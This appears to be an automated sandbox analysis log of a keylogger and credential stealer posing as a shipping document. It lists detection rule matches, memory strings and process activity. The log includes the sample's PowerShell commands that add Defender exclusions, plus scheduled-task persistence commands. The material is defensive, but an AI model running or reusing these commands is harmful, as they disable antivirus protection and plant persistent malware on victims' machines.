Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056C97B0	18_2_056C97B0
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056C5780	18_2_056C5780
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056CF781	18_2_056CF781
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056CF790	18_2_056CF790
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056CD791	18_2_056CD791
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056CCE6F	18_2_056CCE6F
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056C4A68	18_2_056C4A68
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056C6E62	18_2_056C6E62
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056CAE7F	18_2_056CAE7F
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056C4A78	18_2_056C4A78
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056C6E70	18_2_056C6E70
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056CEE70	18_2_056CEE70
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056C1A41	18_2_056C1A41
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056CEE5F	18_2_056CEE5F
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056C1A50	18_2_056C1A50
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056C4620	18_2_056C4620
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056CAA00	18_2_056CAA00
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056C6A18	18_2_056C6A18
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056C4610	18_2_056C4610
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056C22F0	18_2_056C22F0
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056CF2F0	18_2_056CF2F0
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056C72C8	18_2_056C72C8
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056C4EC2	18_2_056C4EC2
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056C4ED0	18_2_056C4ED0
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056C1EA8	18_2_056C1EA8
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056C72B8	18_2_056C72B8
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056CCE80	18_2_056CCE80
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056C1E98	18_2_056C1E98
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056CAE90	18_2_056CAE90

Source: Shipment advice H-BL Draft.exe, 00000000.00000002.1319618401.000000000498B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRemington.exe4 vs Shipment advice H-BL Draft.exe
Source: Shipment advice H-BL Draft.exe, 00000000.00000000.1250605088.0000000000E9C000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamebwhC.exe2 vs Shipment advice H-BL Draft.exe
Source: Shipment advice H-BL Draft.exe, 00000000.00000002.1317035907.00000000033BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTL.dll" vs Shipment advice H-BL Draft.exe
Source: Shipment advice H-BL Draft.exe, 00000000.00000002.1324698033.0000000007A90000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameTL.dll" vs Shipment advice H-BL Draft.exe
Source: Shipment advice H-BL Draft.exe, 00000000.00000002.1317035907.0000000003173000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRemington.exe4 vs Shipment advice H-BL Draft.exe
Source: Shipment advice H-BL Draft.exe, 00000000.00000002.1325291879.0000000007D10000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs Shipment advice H-BL Draft.exe
Source: Shipment advice H-BL Draft.exe, 00000000.00000002.1317035907.0000000003340000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTL.dll" vs Shipment advice H-BL Draft.exe
Source: Shipment advice H-BL Draft.exe, 00000000.00000002.1314558239.000000000148E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs Shipment advice H-BL Draft.exe
Source: Shipment advice H-BL Draft.exe, 0000000D.00000002.3712482234.0000000000446000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRemington.exe4 vs Shipment advice H-BL Draft.exe
Source: Shipment advice H-BL Draft.exe, 0000000D.00000002.3713690951.0000000000AF7000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs Shipment advice H-BL Draft.exe
Source: Shipment advice H-BL Draft.exe	Binary or memory string: OriginalFilenamebwhC.exe2 vs Shipment advice H-BL Draft.exe

Source: Shipment advice H-BL Draft.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 13.2.Shipment advice H-BL Draft.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.Shipment advice H-BL Draft.exe.498b840.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 14.2.PrcGlGVKeUCXxg.exe.4c10530.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 14.2.PrcGlGVKeUCXxg.exe.4bcc710.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 14.2.PrcGlGVKeUCXxg.exe.4c10530.3.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 14.2.PrcGlGVKeUCXxg.exe.4bcc710.2.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.Shipment advice H-BL Draft.exe.49cf660.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.Shipment advice H-BL Draft.exe.498b840.3.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.Shipment advice H-BL Draft.exe.49cf660.2.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 14.2.PrcGlGVKeUCXxg.exe.4c10530.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 14.2.PrcGlGVKeUCXxg.exe.4bcc710.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.Shipment advice H-BL Draft.exe.498b840.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.Shipment advice H-BL Draft.exe.49cf660.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.Shipment advice H-BL Draft.exe.49cf660.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.Shipment advice H-BL Draft.exe.49cf660.2.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.Shipment advice H-BL Draft.exe.49cf660.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 14.2.PrcGlGVKeUCXxg.exe.4c10530.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 14.2.PrcGlGVKeUCXxg.exe.4c10530.3.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 14.2.PrcGlGVKeUCXxg.exe.4c10530.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.Shipment advice H-BL Draft.exe.498b840.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.Shipment advice H-BL Draft.exe.498b840.3.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.Shipment advice H-BL Draft.exe.498b840.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 14.2.PrcGlGVKeUCXxg.exe.4bcc710.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 14.2.PrcGlGVKeUCXxg.exe.4bcc710.2.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 14.2.PrcGlGVKeUCXxg.exe.4bcc710.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 00000000.00000002.1319618401.000000000498B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0000000E.00000002.1382016232.0000000004BCC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: Shipment advice H-BL Draft.exe PID: 7548, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: PrcGlGVKeUCXxg.exe PID: 1340, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: PrcGlGVKeUCXxg.exe PID: 1340, type: MEMORYSTR	Matched rule: MALWARE_Win_Phoenix author = ditekSHen, description = Phoenix/404KeyLogger keylogger payload, clamav_sig = MALWARE.Win.Trojan.Phoenix-Keylogger

Source: Shipment advice H-BL Draft.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: PrcGlGVKeUCXxg.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.Shipment advice H-BL Draft.exe.49cf660.2.raw.unpack, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Shipment advice H-BL Draft.exe.49cf660.2.raw.unpack, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Shipment advice H-BL Draft.exe.49cf660.2.raw.unpack, -----.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Shipment advice H-BL Draft.exe.498b840.3.raw.unpack, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Shipment advice H-BL Draft.exe.498b840.3.raw.unpack, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Shipment advice H-BL Draft.exe.498b840.3.raw.unpack, -----.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 14.2.PrcGlGVKeUCXxg.exe.4c10530.3.raw.unpack, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 14.2.PrcGlGVKeUCXxg.exe.4c10530.3.raw.unpack, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 14.2.PrcGlGVKeUCXxg.exe.4c10530.3.raw.unpack, -----.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 0.2.Shipment advice H-BL Draft.exe.49cf660.2.raw.unpack, -----.cs	Base64 encoded string: 'v0ltr/3dlbbx6irPTVKppc2pWh/8WgMBIACn2VCCzUsYJe8sqS1U2gQ1pbwsMcX0'
Source: 0.2.Shipment advice H-BL Draft.exe.498b840.3.raw.unpack, -----.cs	Base64 encoded string: 'v0ltr/3dlbbx6irPTVKppc2pWh/8WgMBIACn2VCCzUsYJe8sqS1U2gQ1pbwsMcX0'
Source: 14.2.PrcGlGVKeUCXxg.exe.4c10530.3.raw.unpack, -----.cs	Base64 encoded string: 'v0ltr/3dlbbx6irPTVKppc2pWh/8WgMBIACn2VCCzUsYJe8sqS1U2gQ1pbwsMcX0'

Source: 0.2.Shipment advice H-BL Draft.exe.7d10000.5.raw.unpack, NA6WibgODSO7bBliZq.cs	Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 0.2.Shipment advice H-BL Draft.exe.7d10000.5.raw.unpack, NA6WibgODSO7bBliZq.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Shipment advice H-BL Draft.exe.7d10000.5.raw.unpack, NA6WibgODSO7bBliZq.cs	Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: 0.2.Shipment advice H-BL Draft.exe.7d10000.5.raw.unpack, C4mUUbO6hDslyPplLx.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.Shipment advice H-BL Draft.exe.7d10000.5.raw.unpack, C4mUUbO6hDslyPplLx.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@21/15@3/3

Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe

File created: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe

Jump to behavior

Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Mutant created: NULL
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Mutant created: \Sessions\1\BaseNamedObjects\VTUBEvDOt
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1156:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8048:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6832:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8100:120:WilError_03

Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe

File created: C:\Users\user\AppData\Local\Temp\tmpFBC0.tmp

Jump to behavior

Source: Shipment advice H-BL Draft.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: Shipment advice H-BL Draft.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%

Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Shipment advice H-BL Draft.exe, 0000000D.00000002.3718301984.0000000002C0D000.00000004.00000800.00020000.00000000.sdmp, Shipment advice H-BL Draft.exe, 0000000D.00000002.3718301984.0000000002C2B000.00000004.00000800.00020000.00000000.sdmp, Shipment advice H-BL Draft.exe, 0000000D.00000002.3718301984.0000000002C1D000.00000004.00000800.00020000.00000000.sdmp, PrcGlGVKeUCXxg.exe, 00000012.00000002.3719627669.000000000305C000.00000004.00000800.00020000.00000000.sdmp, PrcGlGVKeUCXxg.exe, 00000012.00000002.3719627669.000000000306B000.00000004.00000800.00020000.00000000.sdmp, PrcGlGVKeUCXxg.exe, 00000012.00000002.3719627669.000000000304D000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Shipment advice H-BL Draft.exe	Virustotal: Detection: 63%
Source: Shipment advice H-BL Draft.exe	ReversingLabs: Detection: 60%

Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe

File read: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe "C:\Users\user\Desktop\Shipment advice H-BL Draft.exe"
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Shipment advice H-BL Draft.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\PrcGlGVKeUCXxg" /XML "C:\Users\user\AppData\Local\Temp\tmpFBC0.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Process created: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe "C:\Users\user\Desktop\Shipment advice H-BL Draft.exe"
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Process created: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe "C:\Users\user\Desktop\Shipment advice H-BL Draft.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\PrcGlGVKeUCXxg" /XML "C:\Users\user\AppData\Local\Temp\tmp110D.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Process created: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe "C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe"
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Shipment advice H-BL Draft.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\PrcGlGVKeUCXxg" /XML "C:\Users\user\AppData\Local\Temp\tmpFBC0.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Process created: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe "C:\Users\user\Desktop\Shipment advice H-BL Draft.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Process created: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe "C:\Users\user\Desktop\Shipment advice H-BL Draft.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\PrcGlGVKeUCXxg" /XML "C:\Users\user\AppData\Local\Temp\tmp110D.tmp"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Process created: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe "C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Section loaded: apphelp.dll	Jump to behavior
